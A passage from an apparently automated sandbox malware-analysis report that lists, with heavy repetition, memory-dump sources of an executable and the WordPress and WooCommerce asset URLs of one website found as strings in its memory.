00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/taxonomy-images/css/style.css?ver=0.9.6
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/webtoffee-gdpr-cookie-consent/public/css/cookie-law-info-gdpr
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/webtoffee-gdpr-cookie-consent/public/css/cookie-law-info-publ
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/webtoffee-gdpr-cookie-consent/public/js/cookie-law-info-publi
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce-multilingual/res/js/cart_widget.min.js?ver=5.3.7
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/client/blocks/wc-blocks.css?ver=wc-9.2.3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=9.2.3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=9.2.3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=9.2.3
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/fonts/Inter-VariableFont_slnt
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/fonts/cardo_normal_400.woff2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ver=9
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, 